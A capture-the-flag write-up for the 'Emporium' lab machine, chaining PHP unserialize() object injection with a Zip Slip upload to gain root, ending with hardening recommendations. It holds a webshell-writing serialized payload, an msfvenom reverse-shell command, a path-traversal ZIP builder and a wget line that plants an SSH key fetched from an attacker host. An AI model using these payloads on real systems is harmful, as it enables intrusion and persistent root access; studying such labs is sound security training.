CTF

PG-Practice — Emporium

PHP Object Injection via unsafe deserialization chained with Zip Slip for privilege escalation to root.

#php#deserialization#zip-slip#linux#privesc

PG-Practice: Emporium — PHP Object Injection + Zip Slip

Target Overview

FieldValue
Machine NameEmporium
Operating SystemLinux
PlatformProving Grounds Practice

Exploit Chain

PhaseActionDetails
EnumerationManual browsing & ffuf discoveryFound /backup.zip containing source code
ExecutionPHP Object DeserializationExploited insecure unserialize() with custom class AddSubscriber
Initial AccessArbitrary file write via __destruct()Dropped shell.php inside webroot to gain RCE
Privilege EscalationDiscovered internal service running as rootEnumerated /root/web via pspy64 and abused ZIP extraction logic
ImpactFull system compromiseRead /root/root.txt, dumped system-level data

Reconnaissance

nmap -p- -sV -sC <target>

Nmap scan results

Enumeration

Site enumeration

The site appeared static with no additional pages or endpoints discovered during manual browsing and source inspection — other than /index.php?email=, indicating backend logic that responds to user input.

Source inspection

Tech Stack

The web server was fingerprinted using whatweb:

ComponentVersion
Apache HTTPD2.4.52
jQuery1.10.2
HTML5
Bootstrap

Directory Brute-Forcing

Directory brute-forcing revealed an archive named backup.zip, containing the application's source code.

ffuf results

backup.zip contents

Vulnerability Analysis

Source code review

Source code analysis revealed a hidden functionality triggered by the debug parameter. When debug=true, the application passes a message parameter directly to PHP's unserialize() without sanitization.

The presence of the user-defined class AddSubscriber makes the application vulnerable to PHP Object Injection. By crafting a malicious serialized payload that overrides the $sub_file property, it's possible to write arbitrary content to a file within the web directory.

When the serialized object is passed to unserialize(), PHP recreates it filling in property values directly — ignoring constructor logic. This allows an attacker to set $sub_file to shell.php and $info to a PHP webshell. When the object is garbage-collected, __destruct() runs and writes the shell to disk — leading to RCE.

Constructing the Payload

O:13:"AddSubscriber":2:{s:8:"sub_file";s:9:"shell.php";s:4:"info";s:28:"<?php system($_GET['cmd']); ?>"}
  • O:13 — object of class AddSubscriber (length 13)
  • s:8 / s:4 — property names sub_file and info
  • sub_file set to shell.php to write the shell
  • info populated with the PHP webshell payload

Payload crafted

Exploitation

Payload delivery

Initial Foothold

Shell dropped

Generated a Linux ELF reverse shell binary with msfvenom, uploaded it via the webshell, and granted execute permissions:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=<attacker> LPORT=80 -f elf -o bp
curl http://192.168.179.223/shell.php?cmd=chmod+777+bp

ELF uploaded

Execution

The ELF binary was unstable and frequently crashed. Fell back to a classic PHP reverse shell for reliable access.

Python server

curl 'http://192.168.179.223/rev.php'

Reverse shell caught

local.txt

local flag

Privilege Escalation

LinPEAS revealed an internal web application on port 8080.

LinPEAS output

Running pspy64 confirmed the internal app runs as uid=0 (root), with its web root at /root/web.

pspy64 process watch

Used chisel to set up a reverse port forward and access the internal service:

Chisel tunnel

Internal service access

Internal app page

Source review showed only client-side file upload validation — trivially bypassed.

Client-side validation

Uploaded /usr/share/webshell/php/simple-backdoor.php by altering the filename. The uploaded file wasn't accessible at the expected path, so I investigated the extraction logic further.

Upload attempt

Upload path investigation

Each uploaded archive created a new folder under /uploads/$RANDOM_NUMBER/. Only .zip files were fully extracted — confirming archive handling logic was present.

Research identified that the PHP version was vulnerable to Zip Slip (unsafe ZIP extraction allowing path traversal):

Crafted a malicious ZIP with a path-traversal entry:

<?php
$zipName = "shell";
$fileName = "rev.php";
$zipInternalPath = "../../../../../root/web/" . $fileName;
file_put_contents($fileName, $fileContent);
$zip = new ZipArchive();
$zip->open($zipName, ZipArchive::CREATE | ZipArchive::OVERWRITE);
$zip->addFile($fileName, $zipInternalPath);
$zip->close();
?>

The server extracted the ZIP and — due to directory traversal in the path — wrote rev.php directly into /root/web/, achieving RCE as root.

Root shell via Zip Slip

Post-Access

Post exploitation

http://127.0.0.1:8080/shell.php?cmd=wget+http://192.168.45.205/key.pub+-O+/root/.ssh/authorized_keys

SSH key planted

Recommendations

  • Never run web services with root privileges — use a dedicated low-privilege user.
  • Never deserialize untrusted user input via unserialize() without strict class whitelisting.
  • Use a sandboxed or temporary directory for handling uploaded archives — validate extracted paths before writing.
  • Remove backup files (.zip, .bak) from publicly accessible directories.
  • Keep PHP and server software updated to patch known extraction vulnerabilities.